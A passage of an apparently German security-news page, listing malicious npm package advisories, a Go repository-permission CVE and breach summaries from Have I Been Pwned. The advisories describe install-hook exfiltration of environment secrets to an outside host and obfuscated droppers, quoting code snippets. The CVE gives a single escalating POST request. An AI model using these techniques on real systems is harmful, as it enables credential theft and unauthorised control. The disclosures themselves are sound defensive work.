encoder also installs no-op handlers for `uncaughtException`, `unhandledRejection`, and `SIGINT` to suppress crashes, performs obfuscator.io-style debugger-detection (`Function('debugger')` regex self-check), and re-spawns the current node when run interactively so the payload runs only in the detached child. A URL-builder library has no legitimate need for a 263 KB obfuscated sibling, a platform-specific binary download, anti-debug guards, or a detached child re-exec. Any consumer who calls `cat()` triggers arbitrary code execution from an attacker-controlled binary on their machine. | ||
| Risiko ? / 10 MAL-2026-6249 | vor 1 Stunde(n) | |
| --- _-= Per source details. Do not edit below this line.=-_ ## Source: amazon-inspector (2ca70b0a6be36daf245deb50dd6b3595a9bfba29c62770e82365152a02832cf8) On `npm install`, the package's `preinstall` lifecycle hook runs `curl` against `http://d8s0b82plbq3u5sb2vo0sb3a9obr4yjt7.oast.site/` and POSTs the installer's hostname (`hostname -f`), current user (`whoami`), working directory, and a base64-encoded dump of the entire process environment (`env | base64 -w0`) — which on CI/build hosts routinely contains tokens, cloud credentials, and registry auth. The package itself is hollow: `index.js` only exports `{ name, version }` and provides no functionality. The `repository.url` claims `git+https://github.com/zomato/blinkit-core.git` while publishing under that internal-sounding name on the public registry, matching the canonical dependency-confusion attacker shape against Zomato's internal `blinkit-core` namespace. Installer harm: any build pipeline that resolves this public package instead of an internal mirror leaks host identity and the full environment (including secrets) to the attacker's out-of-band interaction listener at install time, before any other code runs. ## Source: ossf-package-analysis (304234c334dce7d26c040f318d608e24b53db9b0b7b0b27d3a6dd2c040481b15) The OpenSSF Package Analysis project identified 'blinkit-core' @ 1.0.0 (npm) as malicious. It is considered malicious because: - The package communicates with a domain associated with malicious activity. - The package executes one or more commands associated with malicious behavior. | ||
| Risiko ? / 10 MAL-2026-6308 | vor 1 Stunde(n) | |
| --- _-= Per source details. Do not edit below this line.=-_ ## Source: amazon-inspector (362ed214c96b3a091355472cb7d03ca7dcb1c3b1c36daede92d4e7a04027cb8a) @lazyutil/dater is a trojanized repackage of the legitimate `timezonecomplete` library. Its package.json declares `postinstall: node./dist/lib/tzinit.cjs`, which runs automatically on `npm install`. tzinit.cjs is a 263 KB obfuscator.io-protected file (string-array RC4/XOR + control-flow flattening) that uses AES-256-GCM with a hardcoded key/IV/AAD to decrypt an embedded URL and host, then performs an HTTP GET to fetch a binary, writes it to disk, chmods it executable, and spawns it via `process.execPath` or `sh -c`. The dropper is platform-gated for win32/darwin/linux, retries with backoff, and re-execs the package's process. None of this is required for a date/timezone library and the legitimate upstream has neither a postinstall nor a tzinit.cjs. Trojanization signals: package description is copied verbatim from `timezonecomplete`, the `repository` field still points at the upstream author's git URL (`github.com/rogierschouten/timezonecomplete`), `homepage` points at a placeholder `github.com/lazyutil`, and `author` is a fresh ProtonMail identity unrelated to the original maintainer. Installing this package gives an attacker arbitrary code execution on the installer's machine. | ||
| Risiko ? / 10 MAL-2026-6307 | vor 1 Stunde(n) | |
| --- _-= Per source details. Do not edit below this line.=-_ ## Source: amazon-inspector (60ffa9bdf180aec157894e395106c8dd7f18fa1f83ff9828d94a9070dbf8cc2e) package.json declares `postinstall: node./primer.cjs`. primer.cjs is a 262 KB heavily obfuscated loader (RC4-decoded string array of 1176 entries, control-flow flattening, self-defending anti-debugger regex trap on Function.prototype.toString) that AES-256-GCM-decrypts a hardcoded URL at runtime, performs an HTTPS request with redirect following, writes the response bytes to a temp file, and then spawns a detached Node process against that file (`spawn(process.execPath, [tmp], {detached:true, stdio:'ignore'})`). The fetched bytes are opaque and the destination is only revealed after runtime decryption. The same dropper is also reachable from the public library API: index.cjs's `addToQueue` calls `require('./primer.cjs').runPrepare?.()` on every queue add, so the payload also fires the first time a consumer uses the advertised throttler — defeating the `npm install --ignore-scripts` mitigation. Publisher metadata is throwaway-shaped (ProtonMail author email, repository pointing at an unrelated personal experiments repo). The package's advertised purpose is an async throttle utility; there is no legitimate reason for it to ship an obfuscated encrypted-URL dropper. | ||
| Risiko ? / 10 MAL-2026-6305 | vor 1 Stunde(n) | |
| --- _-= Per source details. Do not edit below this line.=-_ ## Source: amazon-inspector (d0e3751015a32bcdd6a8f1f7e864c65992d1d2aa781b6e2a043cd28767549641) No concrete installer-harm indicators were identified in this version of @frostnode/waitfor. No lifecycle hooks, network destinations, credential-access patterns, or other supply-chain attack fingerprints were surfaced. Coverage of the package contents was partial, so a human reviewer should confirm there is no install-time or import-time behavior of concern before this is treated as cleared. | ||
| Risiko ? / 10 MAL-2026-6214 | vor 1 Stunde(n) | |
|
---
_-= Per source details. Do not edit below this line.=-_
## Source: amazon-inspector (56ad779454aa221e4a3d5a13725428059b40edd7cd8a4329ef382348bc493013)
Package advertises itself as a small hex/base64/endianness codec library, but every exported encode/decode function (encodeHex, decodeHex, encodeBase64,...) invokes `_runPrepare()` from `script/prelude.cjs` (and `esm/prelude.mjs`), a ~277 KB obfuscator.io-packed module using a rotating string array and RC4-style string decoder with hex-named identifiers (`_0xe119`, `_0x19b8`). The deobfuscated body pulls in `child_process` and `https`, downloads a remote payload, stages it under `os.tmpdir()` with sha256 verification, uses an `E13F_TAG` env-var re-entry guard and lockfiles, and finally spawns `process.execPath` on the downloaded file. Any consumer that imports the package and calls its advertised API silently fetches and executes attacker-controlled code on the installer's machine. None of this functionality is needed for a hex codec; the codec methods exist only as a cover for the dropper. The package also impersonates an unrelated upstream project: `package.json` `repository.url`, `bugs.url`, and `homepage` all point to `github.com/levischuck/tiny-encodings`, while the package is published under the `@chunklab` scope by author `chunklab |
||
| Risiko ? / 10 MAL-2026-6213 | vor 1 Stunde(n) | |
|
---
_-= Per source details. Do not edit below this line.=-_
## Source: amazon-inspector (b3d53776853d18aabf967b0f1882eb45f2164feedd600eeccc927f496002f5e4)
The package advertises itself as a small in-memory pubsub library but its main entry `dist/index.js` eagerly `require()`s `dist/bootstrap.js`, a 277KB obfuscator.io-protected blob (string-array rotation, control-flow flattening, RC4 string decoder, self-defending wrappers) whose decoded behavior is a remote-code dropper. On require — and automatically when the module is loaded inside a forked Node child via `maybeInstallAutoIpc()`/`addIpcTarget(process)` — the bootstrap: (1) re-spawns `process.execPath` detached with the original argv and an env-var sentinel as an anti-analysis re-entry guard (`child_process.spawn(process.execPath, process.argv.slice(1), { detached:true, windowsHide:true, stdio:'ignore' })` followed by `unref()`); (2) opens an HTTPS request to a destination resolved from RC4-decrypted strings, follows redirects, and writes the response under `os.homedir()/.cache/ |
||
| Risiko ? / 10 MAL-2026-6212 | vor 1 Stunde(n) | |
| --- _-= Per source details. Do not edit below this line.=-_ ## Source: amazon-inspector (09dba573f5d6cb00b09562870f2148b3e539786f5d801f2a263338301d759313) The package advertises itself as a tiny environment-variable validator but ships lib/preflight.js, a heavily obfuscated (obfuscator.io string-array rotation, RC4 decoder, ~1228-entry string array, control-flow flattening) ~277KB bundle that runs on every call to the package's main entry point: lib/index.js invokes preflight.runPrepare() at the top of envcheck(). After deobfuscation, lib/preflight.js performs an HTTPS GET to a remote endpoint, AES-256-GCM-decrypts the response using hardcoded key/IV constants embedded in the bundle, writes the decrypted bytes to a cache directory, and spawns them detached via process.execPath / sh with stdio:'ignore' and windowsHide:true. The module also exports onInstall() and self-executes when run as a script (`if (require.main === module) { onInstall(); }`), with a BRISKFORGE_E13F_TAG environment marker used as an anti-double-exec guard. The remote source is mutable and the decrypted payload is opaque, so any installer that imports the package — or runs the file directly — executes whatever bytes the operator chooses to serve, with no integrity checks. Package metadata compounds the deception: repository.url, bugs.url, and homepage all point at https://github.com/validatorjs/validator.js, an unrelated well-known OSS project, while the publisher is an unrelated ProtonMail account (briskforge@pm.me) with no corresponding GitHub presence — a deliberate impersonation to borrow legitimacy from validatorjs on the npm listing page. | ||
| Risiko ? / 10 MAL-2026-6211 | vor 1 Stunde(n) | |
| --- _-= Per source details. Do not edit below this line.=-_ ## Source: amazon-inspector (718ca10ce0670edf6756b4ff0bd05e43526ebd516396a34074acf844116e7254) @apiwizards/auth-middleware@5.1.2 ships a single heavily obfuscated index.js (obfuscator.io string-array with 317 entries, RC4+base64 decoder, array-rotation self-defending wrapper) that is the package's declared main. On require(), a top-level IIFE loads os/fs/child_process/crypto/path and an HTTP client, performs an HTTPS GET against a hardcoded URL constructed from a base concatenated with the package version, splits the response on ':' into key/iv/ciphertext, AES-decrypts the body via crypto.createDecipheriv, writes the cleartext to a file under os.tmpdir() with flag 'w+', and executes it via child_process (execSync with windowsHide and a cwd derived from process.cwd()). No hash or signature verification is performed and errors are silenced via process.on('uncaughtException'). The package advertises itself as an auth middleware but ships no module.exports, no auth/login/verify/sign symbols, and empty description/author/keywords — the entire payload is the dropper. Any consumer that installs the package and require()s it (directly or transitively) will execute attacker-controlled bytes fetched from a non-publisher endpoint. | ||
| Risiko ? / 10 MAL-2026-6210 | vor 1 Stunde(n) | |
| --- _-= Per source details. Do not edit below this line.=-_ ## Source: amazon-inspector (c46938b3634fb4de89ddf44b765e1c766c871a40fb31c54609c1b3526074e65c) @apexcraft/nano-key advertises itself as a 12-byte sortable ID generator (README and repository metadata are copied from yiwen-ai/xid-ts, an unrelated upstream project), but ships a 250KB obfuscator.io-style payload at dist/cjs/seed.cjs. package.json declares `"postinstall": "node./dist/cjs/seed.cjs"`, so the payload runs automatically on `npm install`. The same `runPrepare()` entry point is also invoked at module load: index.js line 25 calls `_seed.runPrepare()` inside `newState()`, which line 35 invokes as `defaultState = newState()` at top level — so any consumer that `require`s the package re-triggers the dropper. seed.cjs uses an RC4+base64 rotating string array decoder (`_0x554f` / `_0x1420`), control-flow flattening, a self-defending IIFE, and a debugger-protection loop to hide an AES-256-GCM-decrypted URL list. At runtime it `https.request`s those URLs, stages the response under `~/.cache` (or `%LOCALAPPDATA%` / `~/Library/Caches`), sha256-stamps the file, and executes it with `child_process.spawn(process.execPath, [file])`, with an alternate `bun` runtime branch. There is no signature or hash pinning of the fetched bytes, the destination is decrypted at runtime (mutable C2), and the package's stated purpose (ID generation) provides no legitimate reason to fetch and execute remote code. Installing or requiring this package hands arbitrary remote code execution to whoever controls the encrypted endpoint. | ||
| Risiko 5 / 10 CVE-2026-52804 | vor 2 Stunde(n) | |
| ## Summary A repository admin collaborator can escalate their privileges to owner-level access by exploiting an off-by-one error in the `ChangeCollaborationAccessMode` function. ## Vulnerable Code In `internal/database/repo_collaboration.go`, line 129: ```go func (r *Repository) ChangeCollaborationAccessMode(userID int64, mode AccessMode) error { // Discard invalid input if mode <= AccessModeNone || mode > AccessModeOwner { return nil } ``` `AccessModeOwner` has value 4. The check `mode > AccessModeOwner` evaluates to `4 > 4 = false`, allowing `AccessModeOwner` to pass through. The correct check should be `mode >= AccessModeOwner`. The web route at `internal/route/repo/setting.go:413-416` takes the mode as a raw integer from query parameters: ```go func ChangeCollaborationAccessMode(c *context.Context) { if err := c.Repo.Repository.ChangeCollaborationAccessMode( c.QueryInt64("uid"), database.AccessMode(c.QueryInt("mode"))); err != nil { ``` This allows an admin collaborator to POST `mode=4` and escalate to owner. ## Impact A repository admin collaborator (AccessModeAdmin = 3) can escalate to owner-level access (AccessModeOwner = 4), gaining the ability to: - **Delete the repository** - **Transfer repository ownership** to another user - **Erase wiki data** - Perform all other owner-only operations The `access` table is also updated (line 181), so the escalated permissions persist across sessions. ## Contrast The API route at `internal/route/api/v1/repo_collaborators.go:46` uses `ParseAccessMode()` which only returns Read, Write, or Admin - never Owner. The API endpoint is not affected. ## Steps to Reproduce 1. User A creates a private repository 2. User A adds User B as a collaborator with **Admin** access (mode=3) 3. User B logs in and navigates to the repository settings collaboration page 4. User B sends a POST request: ``` POST /{owner}/{repo}/settings/collaboration/access_mode?uid={B_uid}&mode=4 ``` 5. User B now has **Owner** access - the "Danger Zone" section appears with "Delete This Repository" and "Transfer Ownership" buttons ## Suggested Fix Change the validation in `internal/database/repo_collaboration.go` line 129 from: ```go if mode <= AccessModeNone || mode > AccessModeOwner { ``` to: ```go if mode <= AccessModeNone || mode >= AccessModeOwner { ``` | ||
Das "CVE"-Repository (eng. Common Vulnerabilities and Exposures) stellt eine Liste bekannter Schwachstellen und Sicherheitslücken in IT-Systemen unter Führung des "US-amerikanischen National Cybersecurity" zusammen und bewertet diese anhand Ihres Risikos auf einer Skala von eins bis zehn.
Gerade im Bereich von Web-Technologien und Cloud-Software werden regelmäßig Hacks und Sicherheitslücken bekannt. Die betroffenen Unternehmen erleiden in der Regel nicht nur einen Image-Schaden sondern stehen womöglich gegenüber Ihren Kunden auch in der rechtlichen Verantwortung. Das Projekt "Have I Been Pwned" sammelt seit Jahren Daten die aus Hacks oder Datenlecks öffentlich zugänglich werden und bietet einen Service um zu prüfen, ob man selbst von diesen Hacks betroffen wurde.
| 18.06.2026 - Operation Endgame 4.0 | 153.527 Datensätze geleaked | |
| Email addresses, Passwords On 18 June 2026, the latest phase of Operation Endgame targeted the SocGholish malware operation, a prolific malware distribution network used to compromise systems and facilitate further cybercrime. Coordinated by international law enforcement agencies with support from Europol and Eurojust, the operation remediated almost 15,000 compromised websites and disrupted more than 100 servers and domains used to distribute malware. Authorities also provided HIBP with 154k impacted email addresses and more than half a million previously unseen passwords. |
||
| 15.06.2026 - June 2026 Stealer Logs | 56.278.397 Datensätze geleaked | |
| Email addresses, Passwords In June 2026, a collection of accumulated stealer logs from various sources was added to HIBP. The corpus comprised 56M unique email addresses across hundreds of millions of stealer log records. The data also contained 124M unique passwords, which have been added to Pwned Passwords and are now searchable. Individuals can view any records captured against their email address in the stealer logs section of their dashboard. Organisations can see logs affecting their domain via the stealer logs API. |
||
| 12.06.2026 - JCPenney | 368.418 Datensätze geleaked | |
| Dates of birth, Email addresses, Government issued IDs, Job titles, Names, Phone numbers, Physical addresses, Usernames In June 2026, retailer JCPenney and associated brands were targeted in a ShinyHunters "pay or leak" extortion campaign. Data allegedly obtained from JCPenney through the exploitation of a critical zero-day vulnerability in Oracle PeopleSoft was later published publicly. The exposed records indicated they primarily related to internal HR systems and impacted current and former employees. The data included 368k corporate and personal email addresses, names, dates of birth, Social Security numbers, phone numbers and home addresses. |
||
| 11.06.2026 - Ralph Lauren | 139.903 Datensätze geleaked | |
| Age groups, Email addresses, Genders, Names, Phone numbers In June 2026, fashion retailer Ralph Lauren was targeted in a ShinyHunters "pay or leak" extortion campaign. The group subsequently published hundreds of gigabytes of data they claimed was obtained from the organisation's Salesforce instance, including 140k unique email addresses along with names, phone numbers, genders and age groups. |
||
| 09.06.2026 - University of Nottingham | 454.635 Datensätze geleaked | |
| Academic records, Citizenship statuses, Dates of birth, Disabilities, Email addresses, Ethnicities, Genders, IP addresses, Names, Passport numbers, Phone numbers, Physical addresses, Purchases, Salutations, Usernames In June 2026, the University of Nottingham was the target of a cyber attack, later linked to a ShinyHunters "pay or leak" extortion campaign. Tens of gigabytes of data were subsequently published online and included 455k unique email addresses along with extensive personal information including names, addresses, phone numbers, ethnicities, disabilities, passport numbers and information relating to academic enrolments and fee payments. In a post about the incident, the university advised that the breach affected both "current students, and alumni". |
||
| 30.05.2026 - Atlas Menu | 63.926 Datensätze geleaked | |
| Email addresses, IP addresses, Passwords, Support tickets, Usernames In May 2026, the GTA V and CS2 cheat service Atlas Menu suffered a data breach. An attacker claimed to have gained access to all Atlas systems and published the service's database to a public GitHub repository. The incident exposed 64k unique email addresses along with usernames, IP addresses, support tickets and passwords stored as bcrypt hashes. |
||
| 29.05.2026 - BCD Travel | 396.313 Datensätze geleaked | |
| Email addresses, Employers, Job titles, Names, Phone numbers, Physical addresses, Support tickets In May 2026, the corporate travel management company BCD Travel was claimed as a victim of the ShinyHunters "pay or leak" extortion campaign. Data allegedly obtained from BCD was subsequently published publicly in early June and contained 396k unique email addresses. Other exposed data included names, addresses, phone numbers, job titles and employer names, spanning a variety of different data sets including leads, internal staff and support tickets. |
||
| 23.05.2026 - Baker Distributing | 102.935 Datensätze geleaked | |
| Email addresses, Names, Phone numbers, Physical addresses, Support tickets In May 2026, the HVAC/R wholesale distributor Baker Distributing Company was added to the ShinyHunters data extortion group's "pay or leak" site. In early June, the group publicly published data they claimed had been obtained from Baker's SharePoint and Salesforce infrastructure including 103k unique email addresses along with names, physical addresses, phone numbers and tickets relating to the company's HVAC contractor customer base. The exposed data was largely corporate contact and support information with limited sensitivity. |
||
| 23.05.2026 - Charter | 4.851.517 Datensätze geleaked | |
| Email addresses, Job titles, Names, Phone numbers, Physical addresses In May 2026, the telecommunications company Charter Communications (the parent company behind the consumer broadband and cable brand Spectrum) was named by the ShinyHunters group in a "pay or leak" extortion campaign. The group later published the data, which exposed 4.9M unique email addresses along with names, phone numbers and physical addresses. A subset of approximately 85k records originating from an internal employee directory also included job titles. Charter confirmed the incident, but stated that no sensitive personal information or customer proprietary network information (CPNI) was exfiltrated. |
||
| 23.05.2026 - DentaQuest | 2.553.599 Datensätze geleaked | |
| Dates of birth, Email addresses, Genders, Government issued IDs, Health insurance information, Names, Phone numbers, Physical addresses In May 2026, the dental benefits administrator DentaQuest was the target of a ShinyHunters "pay or leak" extortion campaign that resulted in the group publicly publishing hundreds of gigabytes of data allegedly obtained from the company. The data included 2.6M unique email addresses along with names, addresses and phone numbers. Much of the data appeared in healthcare enrollment files (ASC X12 transaction sets) with some containing Medicaid IDs, while additional data appeared in member records and related files. DentaQuest acknowledged "a cybersecurity incident involving unauthorized access to a limited portion of our network", and advised they had contained the attack and mitigated the threat. |
||
| 05.05.2026 - Cushman & Wakefield | 310.431 Datensätze geleaked | |
| Email addresses, Job titles, Names, Phone numbers, Physical addresses, Salutations In May 2026, the real estate services firm Cushman & Wakefield was the target of a "pay or leak" extortion campaign by the ShinyHunters group. Following the threat, the group publicly published data they alleged had been obtained from the firm, consisting mostly of C&W email addresses along with tens of thousands of external email addresses and corporate contact records. The exposed data was primarily business information, including names, job titles, company addresses and phone numbers. |
||
| 30.04.2026 - Reborn Gaming | 126 Datensätze geleaked | |
| Email addresses, IP addresses In April 2026, the gaming community Reborn Gaming suffered a data breach due to a vulnerability in cPanel and WebHost Manager (WHM). The breach exposed 126 unique email addresses along with IP addresses and Steam IDs. Reborn Gaming self-submitted the data to Have I Been Pwned. |
||
| 28.04.2026 - Vimeo | 119.167 Datensätze geleaked | |
| Email addresses, Names In April 2026, the ShinyHunters extortion group listed Vimeo on their extortion portal as part of their "pay or leak" campaign. They subsequently published hundreds of gigabytes of data, predominantly consisting of video titles, technical data and metadata. The data also included 119k unique email addresses, sometimes accompanied by names. Vimeo attributed the exposure to a breach of Anodot, a third-party analytics vendor, and advised the incident does not include "Vimeo video content, valid user login credentials, or payment card information". |
||
| 26.04.2026 - CTT | 468.124 Datensätze geleaked | |
| Email addresses, Names, Phone numbers In April 2026, data allegedly obtained from CTT, Portugal's national postal service, was posted to a public hacking forum. The data included 468k unique email addresses along with names, phone numbers and parcel tracking numbers which can be used to retrieve the tracking history of the parcel. |
||
| 24.04.2026 - Udemy | 1.401.259 Datensätze geleaked | |
| Email addresses, Employers, Job titles, Names, Payment methods, Phone numbers, Physical addresses In April 2026, online training company Udemy was the victim of a “pay or leak” extortion attempt perpetrated by the ShinyHunters group. The data was subsequently leaked publicly and contained 1.4M unique email addresses belonging to customers and instructors. The data also included names, physical addresses, phone numbers, employer information and instructor payout methods including PayPal, cheque and bank transfer. |
||
| 20.04.2026 - ADT | 5.488.888 Datensätze geleaked | |
| Dates of birth, Email addresses, Names, Partial government issued IDs, Phone numbers, Physical addresses In April 2026, home security firm ADT confirmed a data breach by ShinyHunters, which listed the company on its website as part of a "pay or leak" extortion attempt. The breach impacted 5.5M unique email addresses along with names, phone numbers and physical addresses. ADT also advised that "in a small percentage of cases, dates of birth and the last four digits of Social Security numbers or Tax IDs were included" and that it had contacted all affected people. |
||
| 20.04.2026 - Aman | 215.563 Datensätze geleaked | |
| Dates of birth, Email addresses, Genders, Language preferences, Names, Nationalities, Phone numbers, Physical addresses, Spouses names, VIP statuses In April 2026, the ultra-luxury hotel brand Aman was named by ShinyHunters as the target of a "pay or leak" extortion campaign, with the data allegedly obtained from their Salesforce CRM. The data was subsequently leaked publicly and contained over 200k unique email addresses. Whilst not present on all records, the data also included genders, physical addresses, phone numbers, nationalities, dates of birth, spouse names and VIP status codes. |
||
| 20.04.2026 - Canada Life | 237.810 Datensätze geleaked | |
| Email addresses, Job titles, Names, Phone numbers, Physical addresses, Salutations, Support tickets In April 2026, Canada Life was the victim of a "pay or leak" extortion campaign by the ShinyHunters group. The group subsequently published the data which contained over 200k unique email addresses along with names, phone numbers, physical addresses and, in some cases, customer support tickets. In their disclosure notice, Canada Life advised that "it is a small proportion of our customers who may have been impacted". In the wake of the incident, Canada Life also published an alert cautioning customers to be wary of phishing attacks, a pattern often seen after the public release of breached data. |
||
| 20.04.2026 - Pitney Bowes | 8.243.989 Datensätze geleaked | |
| Email addresses, Job titles, Names, Phone numbers, Physical addresses In April 2026, the hacking collective ShinyHunters claimed to have obtained data from Pitney Bowes as part of a broader extortion campaign that also named several other organisations. After negotiations allegedly failed, the group publicly released the data which included 8.2M unique email addresses, along with names, phone numbers and physical addresses. A subset of the data also included Pitney Bowes employee records with job titles. |
||
| 18.04.2026 - Carnival | 7.531.359 Datensätze geleaked | |
| Dates of birth, Email addresses, Genders, Geographic locations, Loyalty program details, Names, Salutations In April 2026, the notorious hacking collective ShinyHunters claimed they had obtained a substantial volume of data belonging to the Carnival cruise operator and attempted to extort the organisation to prevent the data from being leaked. The following week, the group published the data publicly, which contained 8.7M records with 7.5M unique email addresses. The data contained fields indicating it related to the Mariner Society loyalty program run by Holland America, a cruise line brand under Carnival, and included names, dates of birth, genders and data relating to status within the loyalty program. Carnival acknowledged a phishing incident involving a single user account and advised they were working to better understand the scope of the unauthorised activity. |
||
| 15.04.2026 - Kemper | 269.299 Datensätze geleaked | |
| Email addresses, Names, Partial credit card data, Phone numbers, Physical addresses, Purchases In April 2026, the American insurance holding company Kemper Corporation was named by the ShinyHunters ransomware group in a "pay or leak" extortion campaign. The attackers allegedly accessed Kemper's Salesforce environment via social engineering as part of a broader campaign targeting hundreds of organisations using the same method. The group later published tens of gigabytes of data they claimed included internal directory data, Salesforce records and Stripe payment logs. Among the 269k unique email addresses were names, phone numbers, physical addresses and partial payment card data including the last 4 digits, expiry dates and card brands. Kemper confirmed the incident and stated they had engaged third-party cybersecurity experts and notified law enforcement. |
||
| 15.04.2026 - Zara | 197.376 Datensätze geleaked | |
| Email addresses, Geographic locations, Purchases, Support tickets In April 2026, the fashion brand Zara was among a number of organisations targeted by the ShinyHunters extortion group as part of their "pay or leak" campaign. The group claimed the breach was related to a compromise of the Anodot analytics platform and subsequently published a terabyte of data allegedly including 95M support ticket records. The data contained 197k unique email addresses alongside product SKUs, order IDs and the market the support ticket originated in. Zara's parent company Inditex advised that the incident didn't affect passwords or payment information. |
||
| 14.04.2026 - Abrigo | 711.099 Datensätze geleaked | |
| Email addresses, Employers, Job titles, Names, Phone numbers, Physical addresses In April 2026, the fintech software company Abrigo was targeted in a "pay or leak" extortion attempt by the ShinyHunters group. Shortly after, data allegedly taken from the company's Salesforce instance was published publicly and contained over 700k unique email addresses belonging to both Abrigo staff and external contacts. Whilst separate from Abrigo's Salesforce compromise via the Drift application connector the previous year, the data fields described in that incident are consistent with the ShinyHunters data, namely that it was "business contact information" including "institution name, employee name, email addresses, and phone numbers". |
||
| 12.04.2026 - Marcus & Millichap | 1.837.078 Datensätze geleaked | |
| Email addresses, Employers, Job titles, Names, Phone numbers, Physical addresses In April 2026, the commercial real estate brokerage firm Marcus & Millichap was named as one of multiple alleged victims of the ShinyHunters hacking and extortion group. Data alleged to have been obtained from the company was subsequently released publicly and included 1.8M unique email addresses, along with names, phone numbers and employment-related information including employer, job title and physical company address. In their disclosure notice, Marcus & Millichap advised that data which may have been accessed appeared limited to "company forms, templates, marketing materials, and general contact information". |
||
| 12.04.2026 - Mytheresa | 84.108 Datensätze geleaked | |
| Email addresses, Names, Partial credit card data, Phone numbers, Physical addresses, Purchases, Salutations In April 2026, the luxury fashion e-commerce platform Mytheresa was listed as a victim of the ShinyHunters "pay or leak" extortion group. After the ransom deadline passed, the group publicly released the data which contained 84k unique email addresses. The exposed data also included names, phone numbers, physical addresses, purchases and partial credit card data including card type, last 4 digits and expiry date. |
||
| 10.04.2026 - McGraw Hill | 13.500.136 Datensätze geleaked | |
| Email addresses, Names, Phone numbers, Physical addresses In April 2026, education company McGraw Hill confirmed a data breach following an extortion attempt. Attributed to a Salesforce misconfiguration, the company stated the incident exposed "a limited set of data from a webpage hosted by Salesforce on its platform". More than 100GB of data was later publicly distributed, containing 13.5M unique email addresses across multiple files, with additional fields such as name, physical address and phone number appearing inconsistently across some records. |
||
| 08.04.2026 - 7-Eleven | 185.256 Datensätze geleaked | |
| Dates of birth, Email addresses, Names, Phone numbers, Physical addresses In April 2026, 7-Eleven was the victim of a "pay or leak" extortion campaign by ShinyHunters, with the data later published that month. The incident exposed 185k unique email addresses, along with names, physical addresses, dates of birth and phone numbers. A small number of records also contained additional exposed data fields. The company later advised the breach was limited to "certain 7-Eleven systems used to store franchisee documents", a statement consistent with the exposed data. |
||
| 07.04.2026 - My Lovely AI | 106.271 Datensätze geleaked | |
| Email addresses, Social media profiles In April 2026, the NSFW AI girlfriend platform My Lovely AI suffered a data breach that exposed over 100k users. The data included user-created prompts and links to the resulting AI-generated images, along with a small number of Discord and X usernames. |
||
| 06.04.2026 - LegionProxy | 10.144 Datensätze geleaked | |
| Email addresses, Names, Passwords, Purchases In April 2026, the commercial residential and ISP proxy network LegionProxy suffered a data breach. The incident exposed 10k email addresses, bcrypt password hashes, names and purchases. |
||
| 03.04.2026 - Amtrak | 2.147.679 Datensätze geleaked | |
| Email addresses, Names, Physical addresses, Support tickets In April 2026, the hacking group ShinyHunters claimed they had breached Amtrak. The group typically compromises organisations' Salesforce instances before demanding a ransom and later, if not paid, dumping the data publicly. They subsequently published the alleged data which contained over 2M unique email addresses along with names, physical addresses and customer support records. |
||
| 02.04.2026 - SongTrivia2 | 291.739 Datensätze geleaked | |
| Auth tokens, Avatars, Email addresses, Names, Passwords, Usernames In April 2026, the music trivia platform SongTrivia2 suffered a data breach that was subsequently published to a public hacking forum. The data contained a total of 291k unique email addresses sourced from either Google OAuth logins or accounts created on the site, the latter also containing bcrypt password hashes. The data also included names, usernames and avatars. |
||
| 31.03.2026 - Hallmark | 1.736.520 Datensätze geleaked | |
| Email addresses, Names, Phone numbers, Physical addresses, Support tickets In March 2026, Hallmark suffered an alleged breach and subsequent extortion after attackers gained access to data stored within Salesforce. The data was later published after the extortion deadline passed, exposing 1.7M unique email addresses across both Hallmark and the Hallmark+ streaming service, along with names, phone numbers, physical addresses and support tickets. |
||
| 27.03.2026 - ZenBusiness | 5.118.184 Datensätze geleaked | |
| Email addresses, Names, Phone numbers In March 2026, the hacker and extortion group "ShinyHunters" claimed to have obtained a substantial corpus of data from ZenBusiness, a business formation and compliance platform. The group claimed the data had been exfiltrated from platforms including Snowflake, Mixpanel and Salesforce, and threatened to publish it if a ransom was not paid. The following month, after claiming payment had not been made, ShinyHunters publicly released the data. The collection amounted to many terabytes across thousands of files that appeared to originate from multiple systems and business functions, including leads, support records and other CRM-related data. The data contained approximately 5M unique email addresses, often accompanied by name and phone number depending on the source file. |
||
| 26.03.2026 - BreachForums Version 5 | 339.778 Datensätze geleaked | |
| Email addresses, Passwords, Usernames In March 2026, a breach of one of the many iterations of the BreachForums hacking forum known as "Version 5" was publicly disclosed. The incident exposed 340k unique email addresses along with usernames and argon2 password hashes. |
||
| 25.03.2026 - Addi | 34.532.941 Datensätze geleaked | |
| Age groups, Credit scores, Device information, Email addresses, Government issued IDs, Income levels, IP addresses, Latitude and longitude pairs, Names, Phone numbers, Physical addresses, Purchases, Socioeconomic levels In March 2026, the Colombian fintech company Addi identified unauthorised activity on its platform and advised customers that "it is possible that your personal information may have been compromised". The "pay or leak" extortion group ShinyHunters subsequently claimed responsibility and published a large trove of personal data allegedly obtained from Addi. The data included 34M unique email addresses from credit scoring requests, credit bureau records, customer identity records and email validation logs. It also contained government issued IDs (Cédula de Ciudadanía), estimated income, socioeconomic levels, purchases and other credit-related data points. |
||
| 25.03.2026 - Sound Radix | 292.993 Datensätze geleaked | |
| Email addresses, Names, Passwords In March 2026, the audio production tools company Sound Radix disclosed a data breach that they subsequently self-submitted to HIBP. The incident impacted 293k unique email addresses and names. Sound Radix advised that it is possible that additional data including hashed passwords may have been exposed, and that no financial or credit card information was impacted. |
||
| 19.03.2026 - Berkadia | 305.216 Datensätze geleaked | |
| Email addresses, Employers, Names, Phone numbers, Physical addresses In March 2026, the commercial real estate finance company Berkadia was the target of a ShinyHunters "pay or leak" extortion campaign. The group subsequently published data they alleged was taken from Berkadia's Salesforce instance, including over 300k unique email addresses as well as names, physical addresses and phone numbers, among other data. |
||
| 18.03.2026 - Infinite Campus | 137.123 Datensätze geleaked | |
| Email addresses, Employers, Job titles, Names, Phone numbers, Physical addresses, Support tickets, Usernames In March 2026, the student information system Infinite Campus was targeted in a ShinyHunters "pay or leak" extortion campaign. The group subsequently published data they alleged was taken from Infinite Campus, containing 137k unique email addresses along with names, phone numbers, physical addresses and support tickets. Infinite Campus subsequently sent notifications, advising that the exposed data largely consisted of "names and contact information for school staff" and that "the majority is directory information commonly found on school websites". |
||
| 13.03.2026 - Divine Skins | 105.814 Datensätze geleaked | |
| Email addresses, Purchases, Usernames In March 2026, the League of Legends custom skins service Divine Skins suffered a data breach. The incident was disclosed via the service's Discord server, where Divine Skins stated that an unauthorised third party accessed part of its systems, deleted all skins from the database and exposed email addresses and usernames. The data also contained a history of purchases made by users. |
||
| 12.03.2026 - Crunchyroll | 1.195.684 Datensätze geleaked | |
